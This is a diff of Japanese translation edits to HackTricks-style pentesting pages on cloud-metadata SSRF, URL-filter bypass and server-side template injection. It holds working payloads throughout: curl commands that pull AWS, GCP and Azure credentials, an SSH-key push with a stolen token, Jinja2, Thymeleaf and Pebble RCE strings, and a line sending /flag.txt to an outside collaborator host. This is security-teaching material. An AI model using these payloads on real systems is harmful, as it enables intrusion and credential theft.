[**PACU**](https://github.com/RhinoSecurityLabs/pacu)は、発見された資格情報を使用して、あなたの権限を確認し、権限を昇格させる試みをすることができます。
|
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)は、発見された資格情報を使用して、あなたの権限を確認し、権限を昇格させる試みを行うことができます。
|
||||||
|
|
||||||
### AWS ECS (コンテナサービス) のSSRF資格情報
|
### AWS ECS (コンテナサービス) のSSRF資格情報
|
||||||
|
|
||||||
**ECS**は、アプリケーションを実行するためのEC2インスタンスの論理グループであり、ECSがクラスター管理インフラストラクチャを管理するため、自分でスケールする必要はありません。**ECS**で実行されているサービスを侵害することに成功すれば、**メタデータエンドポイントが変更されます**。
|
**ECS**は、アプリケーションを実行するためのEC2インスタンスの論理グループであり、ECSがクラスター管理インフラストラクチャを管理するため、自分でスケールする必要はありません。**ECS**で実行されているサービスを侵害することに成功すれば、**メタデータエンドポイントが変更されます**。
|
||||||
|
|
||||||
_**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。しかし、まずは**\<GUID>**を見つける必要があります。\<GUID>を見つけるには、マシン内の**environ**変数**AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**を読む必要があります。\
|
_**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。しかし、まずは**\<GUID>**を見つける必要があります。\<GUID>を見つけるには、マシン内の**environ**変数**AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**を読み取る必要があります。\
|
||||||
**Path Traversal**を利用して`file:///proc/self/environ`を読み取ることができるかもしれません。\
|
**Path Traversal**を利用して`file:///proc/self/environ`を読み取ることができるかもしれません。\
|
||||||
前述のhttpアドレスは、**AccessKey、SecretKey、およびトークン**を提供するはずです。
|
前述のhttpアドレスは、**AccessKey、SecretKey、およびトークン**を提供するはずです。
|
||||||
```bash
|
```bash
|
||||||
@ -118,7 +118,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
|||||||
さらに、IAM資格情報に加えて、Lambda関数には**関数が開始されるときに関数に渡されるイベントデータ**もあります。このデータは[ランタイムインターフェース](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)を介して関数に提供され、**機密**の**情報**(**stageVariables**内のような)を含む可能性があります。IAM資格情報とは異なり、このデータは標準のSSRFを介して**`http://localhost:9001/2018-06-01/runtime/invocation/next`**でアクセス可能です。
|
さらに、IAM資格情報に加えて、Lambda関数には**関数が開始されるときに関数に渡されるイベントデータ**もあります。このデータは[ランタイムインターフェース](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)を介して関数に提供され、**機密**の**情報**(**stageVariables**内のような)を含む可能性があります。IAM資格情報とは異なり、このデータは標準のSSRFを介して**`http://localhost:9001/2018-06-01/runtime/invocation/next`**でアクセス可能です。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **lambda資格情報**は**環境変数**内にあります。したがって、lambdaコードの**スタックトレース**が環境変数を印刷する場合、アプリでエラーを引き起こすことによって**それらを流出させる**ことが可能です。
|
> **lambda資格情報**は**環境変数**内にあります。したがって、lambdaコードの**スタックトレース**が環境変数を印刷する場合、アプリでエラーを引き起こすことによって**それらを流出させる**可能性があります。
|
||||||
|
|
||||||
### AWS Elastic BeanstalkのSSRF URL <a href="#id-6f97" id="id-6f97"></a>
|
### AWS Elastic BeanstalkのSSRF URL <a href="#id-6f97" id="id-6f97"></a>
|
||||||
|
|
||||||
@ -133,7 +133,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
|||||||
```
|
```
|
||||||
 
|
 
|
||||||
|
|
||||||
次に、`aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`を使用して認証情報を使用します。
|
次に、`aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`の資格情報を使用します。
|
||||||
|
|
||||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||||
|
|
||||||
@ -262,7 +262,7 @@ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXX
|
|||||||
"access_type": "offline"
|
"access_type": "offline"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
今すぐSSHキーをプッシュします。
|
SSHキーをプッシュします。
|
||||||
```bash
|
```bash
|
||||||
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
||||||
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
||||||
@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||||||
```
|
```
|
||||||
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
|
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
|
||||||
|
|
||||||
メタデータエンドポイントはVMと同様に機能しますが、一部のエンドポイントがありません:
|
メタデータエンドポイントはVMと同様に機能しますが、一部のエンドポイントがありません:
|
||||||
```bash
|
```bash
|
||||||
# /project
|
# /project
|
||||||
# Project name and number
|
# Project name and number
|
||||||
@ -323,15 +323,15 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||||||
- `X-Forwarded-For` ヘッダーを **含まないこと**
|
- `X-Forwarded-For` ヘッダーを **含まないこと**
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Azure VM には 1 つのシステム管理アイデンティティと複数のユーザー管理アイデンティティが付与される可能性があります。これは基本的に、**VM に付与されたすべての管理アイデンティティを偽装できる**ことを意味します。
|
> Azure VM には 1 つのシステム管理アイデンティティと複数のユーザー管理アイデンティティをアタッチできます。これは基本的に、**VM にアタッチされたすべての管理アイデンティティを偽装できる**ことを意味します。
|
||||||
>
|
>
|
||||||
> **デフォルト**では、メタデータエンドポイントは **システム割り当て MI (ある場合)** を使用します。
|
> **デフォルト**では、メタデータエンドポイントは **システム割り当て MI (ある場合)** を使用します。
|
||||||
>
|
>
|
||||||
> 残念ながら、VM に付与されたすべての MI を示すメタデータエンドポイントは見つかりませんでした。
|
> 残念ながら、VM にアタッチされたすべての MI を示すメタデータエンドポイントは見つかりませんでした。
|
||||||
>
|
>
|
||||||
> したがって、すべての付与された MI を見つけるには、次のことを行うことができます:
|
> したがって、アタッチされたすべての MI を見つけるには、次のことを行うことができます:
|
||||||
>
|
>
|
||||||
> - **az cli** を使用して **付与されたアイデンティティを取得** (Azure テナント内で既にプリンシパルを侵害している場合)
|
> - **az cli** を使用して **アタッチされたアイデンティティを取得** (Azure テナント内で既にプリンシパルを侵害している場合)
|
||||||
>
|
>
|
||||||
> ```bash
|
> ```bash
|
||||||
> az vm identity show \
|
> az vm identity show \
|
||||||
@ -339,7 +339,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||||||
> --name <vm-name>
|
> --name <vm-name>
|
||||||
> ```
|
> ```
|
||||||
>
|
>
|
||||||
> - メタデータ内のデフォルトの付与された MI を使用して **付与されたアイデンティティを取得**:
|
> - メタデータ内のデフォルトアタッチ MI を使用して **アタッチされたアイデンティティを取得**:
|
||||||
>
|
>
|
||||||
> ```bash
|
> ```bash
|
||||||
> export API_VERSION="2021-12-13"
|
> export API_VERSION="2021-12-13"
|
||||||
@ -357,19 +357,19 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||||||
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
||||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||||
>
|
>
|
||||||
> # 付与された MI を取得しようとする
|
> # アタッチされた MI を取得しようとする
|
||||||
> curl -s -H "Authorization: Bearer $TOKEN" \
|
> curl -s -H "Authorization: Bearer $TOKEN" \
|
||||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||||
> ```
|
> ```
|
||||||
>
|
>
|
||||||
> - テナント内で定義されたすべての管理アイデンティティを **取得し**、どれかが VM に付与されているかを **ブルートフォース** で確認:
|
> - テナント内で定義されたすべての管理アイデンティティを **取得し**、どれかが VM にアタッチされているかを **ブルートフォース** で確認:
|
||||||
>
|
>
|
||||||
> ```bash
|
> ```bash
|
||||||
> az identity list
|
> az identity list
|
||||||
> ```
|
> ```
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> トークンリクエストでは、`object_id`、`client_id`、または `msi_res_id` のいずれかのパラメータを使用して、使用したい管理アイデンティティを指定します ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。指定がない場合、**デフォルト MI が使用されます**。
|
> トークンリクエストでは、使用したい管理アイデンティティを示すために `object_id`、`client_id`、または `msi_res_id` のいずれかのパラメータを使用してください ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。いずれも指定しない場合、**デフォルト MI が使用されます**。
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="Bash"}}
|
{{#tab name="Bash"}}
|
||||||
@ -572,13 +572,13 @@ Packetcloudのメタデータにアクセスするためのドキュメントは
|
|||||||
|
|
||||||
## OpenStack/RackSpace
|
## OpenStack/RackSpace
|
||||||
|
|
||||||
ヘッダーの必要性は言及されていません。メタデータには以下を通じてアクセスできます:
|
ヘッダーの必要性は言及されていません。メタデータには次の方法でアクセスできます:
|
||||||
|
|
||||||
- `http://169.254.169.254/openstack`
|
- `http://169.254.169.254/openstack`
|
||||||
|
|
||||||
## HP Helion
|
## HP Helion
|
||||||
|
|
||||||
ここでもヘッダーの必要性は言及されていません。メタデータには以下でアクセスできます:
|
ここでもヘッダーの必要性は言及されていません。メタデータには次の場所でアクセスできます:
|
||||||
|
|
||||||
- `http://169.254.169.254/2009-04-04/meta-data/`
|
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||||||
|
|
||||||
@ -601,7 +601,7 @@ Alibabaは、インスタンスおよびイメージIDにアクセスするた
|
|||||||
|
|
||||||
## Kubernetes ETCD
|
## Kubernetes ETCD
|
||||||
|
|
||||||
Kubernetes ETCDはAPIキー、内部IPアドレス、およびポートを保持できます。アクセスは以下のように示されます:
|
Kubernetes ETCDは、APIキー、内部IPアドレス、およびポートを保持できます。アクセスは次のように示されます:
|
||||||
|
|
||||||
- `curl -L http://127.0.0.1:2379/version`
|
- `curl -L http://127.0.0.1:2379/version`
|
||||||
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||||
@ -618,7 +618,7 @@ Dockerメタデータにはローカルでアクセスでき、コンテナお
|
|||||||
|
|
||||||
## Rancher
|
## Rancher
|
||||||
|
|
||||||
Rancherのメタデータには以下を使用してアクセスできます:
|
Rancherのメタデータには次のようにアクセスできます:
|
||||||
|
|
||||||
- `curl http://rancher-metadata/<version>/<path>`
|
- `curl http://rancher-metadata/<version>/<path>`
|
||||||
|
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
# URL Format Bypass
|
# URLフォーマットバイパス
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -153,7 +153,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||||||
```
|
```
|
||||||
### Fuzzing
|
### Fuzzing
|
||||||
|
|
||||||
ツール [**recollapse**](https://github.com/0xacb/recollapse) は、与えられた入力からバリエーションを生成し、使用されている正規表現をバイパスしようとします。詳細については、[**この投稿**](https://0xacb.com/2022/11/21/recollapse/) を確認してください。
|
ツール [**recollapse**](https://github.com/0xacb/recollapse) は、与えられた入力からバリエーションを生成し、使用されている正規表現をバイパスしようとします。詳細については [**この投稿**](https://0xacb.com/2022/11/21/recollapse/) を確認してください。
|
||||||
|
|
||||||
### Automatic Custom Wordlists
|
### Automatic Custom Wordlists
|
||||||
|
|
||||||
@ -164,7 +164,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||||||
### Bypass via redirect
|
### Bypass via redirect
|
||||||
|
|
||||||
サーバーがSSRFの**元のリクエストをフィルタリングしている**が、そのリクエストに対する**リダイレクト**レスポンスはフィルタリングしていない可能性があります。\
|
サーバーがSSRFの**元のリクエストをフィルタリングしている**が、そのリクエストに対する**リダイレクト**レスポンスはフィルタリングしていない可能性があります。\
|
||||||
例えば、`url=https://www.google.com/` を介してSSRFに脆弱なサーバーは、**urlパラメータをフィルタリングしている**かもしれません。しかし、リダイレクトしたい場所に302で応答する[pythonサーバーを使用する](https://pastebin.com/raw/ywAUhFrv)と、127.0.0.1のような**フィルタリングされたIPアドレス**や、gopherのようなフィルタリングされた**プロトコル**に**アクセスできる**かもしれません。\
|
例えば、`url=https://www.google.com/` を介してSSRFに脆弱なサーバーは、**urlパラメータをフィルタリングしている**かもしれません。しかし、リダイレクトしたい場所に302で応答する [pythonサーバーを使用する](https://pastebin.com/raw/ywAUhFrv) と、127.0.0.1のようなフィルタリングされたIPアドレスや、gopherのようなフィルタリングされた**プロトコル**に**アクセスできる**かもしれません。\
|
||||||
[このレポートをチェックしてください。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
[このレポートをチェックしてください。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
@ -188,9 +188,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||||||
```
|
```
|
||||||
## 説明されたトリック
|
## 説明されたトリック
|
||||||
|
|
||||||
### バックスラストリック
|
### バックスラッシュトリック
|
||||||
|
|
||||||
_バックスラストリック_は、[WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing)と[RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B)の違いを利用します。RFC3986はURIの一般的なフレームワークですが、WHATWGはウェブURLに特化しており、現代のブラウザに採用されています。重要な違いは、WHATWG標準がバックスラッシュ(`\`)をフォワードスラッシュ(`/`)と同等と認識している点で、これがURLの解析方法に影響を与え、特にホスト名からパスへの遷移を示します。
|
_the backslash-trick_ は、[WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを利用します。RFC3986はURIの一般的なフレームワークですが、WHATWGはウェブURLに特化しており、現代のブラウザに採用されています。重要な違いは、WHATWG標準がバックスラッシュ(`\`)をフォワードスラッシュ(`/`)と同等と認識している点で、これがURLの解析方法に影響を与え、特にホスト名からパスへの遷移を示します。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
@ -7,7 +7,7 @@
|
|||||||
|
|
||||||
サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できるときに発生する脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見られます。
|
サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できるときに発生する脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見られます。
|
||||||
|
|
||||||
Jinjaは、ウェブアプリケーションで使用される人気のテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう:
|
Jinjaは、ウェブアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう:
|
||||||
```python
|
```python
|
||||||
output = template.render(name=request.args.get('name'))
|
output = template.render(name=request.args.get('name'))
|
||||||
```
|
```
|
||||||
@ -17,7 +17,7 @@ output = template.render(name=request.args.get('name'))
|
|||||||
```
|
```
|
||||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||||
```
|
```
|
||||||
ペイロード `{{bad-stuff-here}}` は `name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があります。これにより、サーバーの制御を得ることができます。
|
ペイロード `{{bad-stuff-here}}` が `name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があります。これにより、サーバーの制御を得ることができます。
|
||||||
|
|
||||||
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。
|
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。
|
||||||
|
|
||||||
@ -28,7 +28,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
|||||||
- 脆弱性を明らかにするエラーが発生し、テンプレートエンジンが特定される可能性があります。
|
- 脆弱性を明らかにするエラーが発生し、テンプレートエンジンが特定される可能性があります。
|
||||||
- 反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーが通常のデータとは異なる方法で処理していることを示唆します。
|
- 反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーが通常のデータとは異なる方法で処理していることを示唆します。
|
||||||
- **プレーンテキストコンテキスト**: サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: `{{7*7}}`, `${7*7}`)。
|
- **プレーンテキストコンテキスト**: サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: `{{7*7}}`, `${7*7}`)。
|
||||||
- **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうかを確認します。
|
- **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうかです。
|
||||||
|
|
||||||
#### 識別フェーズ
|
#### 識別フェーズ
|
||||||
|
|
||||||
@ -123,7 +123,7 @@ ${dwf.newInstance(ec,null)("id")}
|
|||||||
```
|
```
|
||||||
**詳細情報**
|
**詳細情報**
|
||||||
|
|
||||||
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のFreeMarkerセクション
|
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) のFreeMarkerセクション
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||||||
|
|
||||||
### Velocity (Java)
|
### Velocity (Java)
|
||||||
@ -180,7 +180,7 @@ Thymeleafはまた、ダブルアンダースコア(`__...__`)内の式を
|
|||||||
```
|
```
|
||||||
**Thymeleafにおける脆弱性の例**
|
**Thymeleafにおける脆弱性の例**
|
||||||
|
|
||||||
以下のコードスニペットは、悪用される可能性があります:
|
以下のコードスニペットを考えてみてください。これは悪用される可能性があります:
|
||||||
```xml
|
```xml
|
||||||
<a th:href="@{__${path}__}" th:title="${title}">
|
<a th:href="@{__${path}__}" th:title="${title}">
|
||||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||||
@ -204,9 +204,9 @@ el-expression-language.md
|
|||||||
```
|
```
|
||||||
**フィルターをバイパスする**
|
**フィルターをバイパスする**
|
||||||
|
|
||||||
複数の変数式を使用できます。`${...}`が機能しない場合は、`#{...}`、`*{...}`、`@{...}`、または`~{...}`を試してください。
|
`${...}` が機能しない場合は、複数の変数式を使用できます。`#{...}`、`*{...}`、`@{...}`、または `~{...}` を試してください。
|
||||||
|
|
||||||
- `/etc/passwd`を読み取る
|
- `/etc/passwd` を読み取る
|
||||||
```java
|
```java
|
||||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||||
```
|
```
|
||||||
@ -258,11 +258,11 @@ el-expression-language.md
|
|||||||
|
|
||||||
- `{{ someString.toUPPERCASE() }}`
|
- `{{ someString.toUPPERCASE() }}`
|
||||||
|
|
||||||
Pebbleの古いバージョン(< version 3.0.9):
|
Pebbleの古いバージョン ( < version 3.0.9):
|
||||||
```java
|
```java
|
||||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||||
```
|
```
|
||||||
新しいバージョンの Pebble:
|
新しいバージョンのPebble:
|
||||||
```java
|
```java
|
||||||
{% raw %}
|
{% raw %}
|
||||||
{% set cmd = 'id' %}
|
{% set cmd = 'id' %}
|
||||||
@ -290,7 +290,7 @@ Pebbleの古いバージョン(< version 3.0.9):
|
|||||||
{{'a'.toUpperCase()}} would result in 'A'
|
{{'a'.toUpperCase()}} would result in 'A'
|
||||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||||
```
|
```
|
||||||
JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手できます。
|
JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手可能です。
|
||||||
|
|
||||||
**Jinjava - コマンド実行**
|
**Jinjava - コマンド実行**
|
||||||
|
|
||||||
@ -376,7 +376,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||||||
Expression Language (EL) は、JavaEEにおけるプレゼンテーション層(ウェブページなど)とアプリケーションロジック(マネージドビーンなど)との相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます:
|
Expression Language (EL) は、JavaEEにおけるプレゼンテーション層(ウェブページなど)とアプリケーションロジック(マネージドビーンなど)との相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます:
|
||||||
|
|
||||||
- **JavaServer Faces (JSF)**: JSFページ内のコンポーネントを対応するバックエンドデータおよびアクションにバインドするためにELを使用します。
|
- **JavaServer Faces (JSF)**: JSFページ内のコンポーネントを対応するバックエンドデータおよびアクションにバインドするためにELを使用します。
|
||||||
- **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。
|
- **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素とアプリケーションデータを接続しやすくします。
|
||||||
- **Contexts and Dependency Injection for Java EE (CDI)**: ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
|
- **Contexts and Dependency Injection for Java EE (CDI)**: ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
|
||||||
|
|
||||||
**ELインタープリタの悪用**について詳しくは、以下のページを確認してください:
|
**ELインタープリタの悪用**について詳しくは、以下のページを確認してください:
|
||||||
@ -432,7 +432,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||||||
```
|
```
|
||||||
**詳細情報**
|
**詳細情報**
|
||||||
|
|
||||||
- Smartyセクションの [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
- Smartyセクションについては[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)を参照してください
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||||
|
|
||||||
### Twig (PHP)
|
### Twig (PHP)
|
||||||
@ -494,7 +494,7 @@ $templates = new League\Plates\Engine('/path/to/templates');
|
|||||||
// Render a template
|
// Render a template
|
||||||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||||
```
|
```
|
||||||
ページテンプレート:
|
ページテンプレート:
|
||||||
```php
|
```php
|
||||||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||||||
|
|
||||||
@ -674,7 +674,7 @@ URLencoded:
|
|||||||
| | 出力を評価してレンダリングする |
|
| | 出力を評価してレンダリングする |
|
||||||
| | HTMLエンコードされた出力を評価してレンダリングする |
|
| | HTMLエンコードされた出力を評価してレンダリングする |
|
||||||
| | コメント |
|
| | コメント |
|
||||||
| and | コードを許可する(デフォルトでは無効) |
|
| そして | コードを許可する(デフォルトで無効) |
|
||||||
|
|
||||||
- \= 49
|
- \= 49
|
||||||
|
|
||||||
@ -859,7 +859,7 @@ range.constructor(
|
|||||||
|
|
||||||
|
|
||||||
```
|
```
|
||||||
[**RCEは**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`に依存しません:
|
[**RCEは**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`に依存しません:
|
||||||
```python
|
```python
|
||||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||||
@ -876,7 +876,7 @@ range.constructor(
|
|||||||
jinja2-ssti.md
|
jinja2-ssti.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
他のペイロードは[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
他のペイロードは[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)にあります。
|
||||||
|
|
||||||
### Mako (Python)
|
### Mako (Python)
|
||||||
```python
|
```python
|
||||||
@ -900,12 +900,12 @@ ${x}
|
|||||||
|
|
||||||
### Razor (.Net)
|
### Razor (.Net)
|
||||||
|
|
||||||
- `@(2+2) <= 成功`
|
- `@(2+2) <= Success`
|
||||||
- `@() <= 成功`
|
- `@() <= Success`
|
||||||
- `@("{{code}}") <= 成功`
|
